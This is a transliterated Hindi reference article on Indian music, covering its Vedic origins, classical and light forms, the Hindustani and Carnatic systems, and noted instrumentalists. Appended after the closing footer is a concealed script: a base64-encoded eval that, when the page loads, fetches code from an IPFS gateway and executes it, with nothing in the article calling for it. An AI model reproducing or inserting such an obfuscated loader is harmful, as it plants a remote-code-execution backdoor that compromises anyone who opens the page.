संगीत

sangit manaviy lay evan talabaddh abhivyakti hai. bharatiy sangit apani madhurata, layabaddhata tatha vividhata ke lie jana jata hai. vartaman bharatiy sangit ka jo roop drishtigat hota hai, vah adhunik yug ki prastuti nahian hai, balki yah bharatiy itihas ke prasambh ke sath hi ju da hua hai. vaidik kal mean hi bharatiy sangit ke bij p d chuke the. samaved un vaidik rrichaoan ka sangrah matr hai, jo gey haian. prachin kal se hi eeshvar aradhana hetu bhajanoan ke prayog ki parampara rahi hai. yahaan tak ki yajnadi ke avasar par bhi samoohagan hote the. dhyan dene ki bat hai ki prachin kal ki any kalaoan ke saman hi bharatiy kala bhi dharm se prabhavit thi. vastav mean bharatiy sangit ke utpatti dharmik prerana se hi huee hai. vastav mean bharatiy sangit ki utpatti dharmik prerana se hi huee hai. parantu dhire-dhire yah dharm ko to dakar laukik jivan se sanbandhit hoti gee aur isi ke sath nrity, vady tatha gitoan ke naye-naye roopoan ka avishkar hota gaya. kalaantar mean naty bhi sangit ka ek hissa ban gaya. samay ke sath sangit ki vibhinn dharaean vikasit hoti gee, naye-naye rag, naye vady yantr aur naye-naye kalakar utpann hote gaye. bharatiy sangit jagat anek mahan vibhootiyoan ke yogadanoan ke parinamasvaroop hi itana vishal roop dharan kar saka hai.

sangit kya hai?

is prashan ka uttar bharatiy sangitakaroan ne vividh roop se dene ka prayas kiya hai. 'sangit ratnakar' ke anusar gitan vady tatha nrity trayan sagitamuchyate - arthath git, vady aur nrity - in tinoan ka samuchchay hi sangit hai. parantu bharatiy sangit ka adhyayan karane par yah abhas hota hai ki in tinoan mean git ki hi pradhanata rahi hai tatha vady aur nrity git ke anugami rahe haian. ek any paribhasha ke anusar, samyakh prakaren yadh giyate tatsangitamh - arthath samyakh prakar se jise gaya ja sake vahi sangit hai. any shabdoan mean svar, tal, shuddh, acharan, hav-bhav aur shuddh muda ke gey vishay hi sangit hai. vastav mean svar aur lay hi sangit ka arthath git, vady aur nrity ka adhar hai.

parichay

'sangit' shabd 'git' shabd mean 'samh' upasarg lagakar bana hai. 'samh' yani 'sahit' aur 'git' yani 'gan'. 'gan ke sahit' arthath aangabhoot kriyaoan (nrity) v vadan ke sath kiya hua kary 'sangit' kahalata hai.

nrittan vadyanugan proktan vadyan gitanuvarti ch.
ato gitan pradhanatvadatradabhidhiyate..

sangit ki paribhasha

sangit vah lalit kala hai, jisamean svar aur lay ke dvara ham apane bhavoan ko prakat karate haian. pratyek kala jaise sangit, moortikala, chitrakala, vastukala mean manav bhavanaoan ko vyakt to karate haian, parantu pratyek mean usaka madhyam badala karata hai. agar rang, painsil, kagaz adi ke dvara bhavoan ko vyakt karate haian to chitrakala ki rachana hoti hai. isi prakar yadi svar-lay ke dvara apane bhavoan ko prakat karate haian to sangit ki rachana hoti hai.

bharatiy sangit

prachin kal mean bharatiy sangit ke do roop prachalit hue-1. margi tatha 2. deshi. kalatar mean margi sangit lupt hota gaya. sath hi deshi sangity do roopoan mean vikasit hua- (i) shastriy sangit tatha (ii) lok sangit.

• shastriy sangit shastroan par adharit tatha vidvanoan v kalakaroan ke adhyayan v sadhana ka pratiphal tha. yah atyant niyamabaddh tatha shreshth sangit tha.
• lok sangit kal aur sthan ke anuroop prakriti ke svachchhand vatavaran mean svabhavik roop se palata hua vikasit hota raha, atah yah adhik vividhatapoorn tatha halka-phulka v chittakarshak hai.

sangit ki utpatti

bharatiy sangit ki utpatti vedoan se mani jati hai. vadoan ka mool mantr hai - 'ooan' (oamh) . (oamh) shabd mean tin akshar a, u tatha mh sammilit haian, jo kramashah brahma arthath srishtikarta, vishnu arthath jagath palak aur mahesh arthath sanharak ki shaktiyoan ke dyotak haian. in tinoan aksharoan ko rrigved, samaved tatha yajurved se liya gaya hai. sangit ke sat svar sh daj (sa), rrishabh (r), gaandhar (ga) adi vastav mean ooan (oamh) ya oankar ke hi antavirbhag haian. sath hi svar tatha shabd ki utpatti bhi ooan ke garbh se hi huee hai. mukh se uchcharit shabd hi sangit mean nad ka roop dharan kar leta hai. is prakar 'ooan' ko hi sangit ka jagat mana jata hai. isilie kaha jata hai ki jo sadhak 'ooan' ki sadhana karane mean samarth hota hai, vahi sangit ko yatharth roop mean grahan kar sakata hai. yadi darshanik drishti se isaka goodharth nikala jay, to isaka tatparth yahi hai ki ooan arthath sampoorn srishti ka ek aansh hamari atma mean nihit hai aur sangit usi atma ki avaz hai, aantah sangit ki utpatti hridayagat bhavoan mean hi mani jati hai.

pramukh vady yantr evan kalakar

vady	vadak
sitar	pandit ravishankar, nikhil banarji, vilayat khaan, bande hasan, shahid paravej, umashankar mishr, buddhadity mukharji adi.
tabala	alla rakha khaan, gudee maharaj, (pan. samata prasad) jakir husain, latif khaan, kishan maharaj, fayyar khaan, sukhaviandar sianh adi.
baansuri	pannalal ghosh, hari prasad chaurasiya, vi. kuanjamani, en. nila, rajendr prasanna, rajendr kulakarni adi.
sarod	amazad ali khaan, ali aqabar khaan, alauddin khaan, vishvajit ray chaudhari, zarin daroovala, buddhadev das gupta, mukesh sharma adi.
vayalin	d aau. en. rajan, vishnu goviand jog, el. subrahmanyamh, sangita rajan, kunakk di vaidyanathan, ti. en. krishnanh adi.
vina	es. balachandran, kalyan krishna bhagavatar, badarooddin dagar, vi. doresvami ayangar adi.
shahanaee	bismilla khaan, dayashankar jagannath, ali ahamad husain khaan adi.
santoor	shiv kumar sharma, bhajan sopari adi.
pakhavaz	gopal das, ustad rahaman khaan, chhatrapati sianh, thakur lakshman sianh adi.
roodravina	asad ali khaan, ustad sadik ali khaan adi.
mridang	paladhar raghu, thakur bhikam sianh, d aau. jagadish sianh adi.

sangit ke roop

pratyek kala ke mukhy do roop hote haian-kriya aur shastr. kriya ke aantargat usaki sadhana vidhi aur shastr ke aantargat usaka itihas, paribhashik shabdoan ki vyakhya adi ati hai. sangit ke bhi do roop haian-

kriyatmak roop

sangit ka kriyatmak roop vah hai, jise ham kanoan dvara sunate haian athava netroan dvara dekhate haian. doosare shabdoan mean kriyatmak sangit mean gana, bajana aur nachana ata hai. gayan aur vadan ko ham sunate haian aur nrity ko dekhate haian. kriyatmak roop mean rag, git ke prakar, alap-tan, saragam, jhala, rela, tuk da, amad, gat, miand adi ki sadhana ati hai. sangit ka yah paksh bahut hi mahatvapoorn hai.

shastr paksh

isamean sangit sambandhi vishayoan ko adhyayan karate haian. isake do prakar haian–kriyatmak shastr aur shuddh shastr. kriyatmak shastr mean kriyatmak sangit ka adhyayan ata hai, jaise ragoan ka parichay, git ki svar-lipi likhana, tan-alap, milate-julate ragoan ki tulana, tuk da, rela adi. is shastr se kriyatmak sangit mean b di sahayata milati hai. shuddh shastr mean sangit, nad, jati, aroh-avaroh, svar, lay, matra, tal, khali adi ki paribhasha, sangit ka itihas adi ka adhyayan ata hai.

sangit paddhatiyaan

bharatavarsh mukhy roop se do prakar ka sangit prachar mean hai, jinhean sangit ki paddhati kahate haian. unake nam haian–uttari athava hindustani sangit paddhati aur dakshini athava karnatak sangit paddhati.  

uttari sangit paddhati

uttari sangit paddhati ko hindustani sangit paddhati bhi kahate haian. yah paddhati uttari hindustan mean–bangal, bihar, u disa, uttar pradesh, hariyana, panjab, gujarat, jammoo-kashmir tatha maharashtr prantoan mean prachalit haian.  

dakshini sangit paddhati

dakshini sangit paddhati ko karnatak sangit paddhati bhi kahate haian. yah tamilanadu, maisoor, aandhr pradesh adi dakshin ke pradeshoan mean prachalit haian. ye donoan paddhatiyaan alag hote hue bhi inamean bahut kuchh samanata hai.  

sangit ke prakar

bharatiy sangit ke mukhy do prakar haian–shastriy sangit aur bhav sangit. shastriy sangit use kahate haian, jisamean niyamit shastr hota hai aur jisamean kuchh vishisht (khas) niyamoan ka palan karana avashyak hota hai. adaharanarth, shastriy sangit mean rag ke niyamoan ko palan karana p data hai, n karane se rag hani hogi. isake atirikt lay-tal ki sima mean rahana p data hai, git ka kaun sa prakar ham ga rahe haian, usaka nirvah bhi usi prakar se hona chahie, ityadi-ityadi. bhav sangit mean shastriy sangit ke saman n koee bandhan hota hai aur n usaka niyamit shastr hi hota hai. bhav sangit ka mukhy aur ekamatr uddeshy kanoan ko achchha lagana hai, at: usamean koee bandhan nahian rahata-chahe koee bhi svar prayog kiya jae, chahe jis tal mean gaya jae v alap, tan, saragam, adi kuchh bhi prayog kiya jae athava n prayog kiya jae. bhav sangit ka mukhy uddeshy ranjakata hai. ranjakata ke lie hi kahian-kahian shastriy sangit ka sahara bhi liya jata hai. bhav sangit ko lait myoozik kahate haian. bhav sangit ko mukhy tin bhagoan mean vibhajit kiya ja sakata hai-

• chitrapat sangit,
• lok sangit,
• bhajan-git adi.

sangit ke vividh aang

sangit se sambandhit kuchh moolabhoot tathyoan ko janakar hi sangit ki barikiyoan ko samajha ja sakata hai. dhvani, svar, lay, tal adi isake antargat ate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>